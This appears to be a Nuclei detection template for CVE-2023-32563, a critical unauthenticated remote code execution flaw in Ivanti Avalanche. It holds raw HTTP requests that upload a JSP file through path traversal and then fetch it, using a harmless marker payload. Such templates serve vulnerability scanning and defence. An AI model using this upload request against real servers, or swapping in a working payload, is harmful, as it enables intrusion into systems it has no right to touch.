id: CVE-2023-32563 info: name: Ivanti Avalanche - Remote Code Execution author: princechaddha severity: critical description: An unauthenticated attacker could achieve the code execution through a RemoteControl server. remediation: | Apply the latest security patches or updates provided by Ivanti to mitigate this vulnerability. reference: - https://twitter.com/wvuuuuuuuuuuuuu/status/1694956245742923939 - https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1?language=en_US - https://nvd.nist.gov/vuln/detail/CVE-2023-32563 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-32563 cwe-id: CWE-22 epss-score: 0.31198 epss-percentile: 0.96525 cpe: cpe:2.3:a:ivanti:avalanche:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: ivanti product: avalanche tags: cve,cve2023,ivanti,avalanche,rce,oast,unauth,intrusive http: - raw: - | POST /Servlet/Skins HTTP/1.1 Host: {{Hostname}} Content-Length: 333 Content-Type: multipart/form-data; boundary=------------------------eacf31f23ac1829f Connection: close --------------------------eacf31f23ac1829f Content-Disposition: form-data; name="guid" ../../../Web/webapps/ROOT --------------------------eacf31f23ac1829f Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp" <% out.println("CVE-2023-32563"); %> --------------------------eacf31f23ac1829f-- - | GET /{{randstr}}.jsp HTTP/1.1 Host: {{Hostname}} matchers: - type: word part: body_2 words: - "CVE-2023-32563" # digest: 4a0a00473045022100bf1047daa7305369429ad496830b7ca3a0c8d0461e55156bebf91211dd5e6819022078b6cd1b6eecffffc2c230a409848f3bc1a0cc0558092f7776ec02dfecb79b98:922c64590222798bb761d5b6d8e72950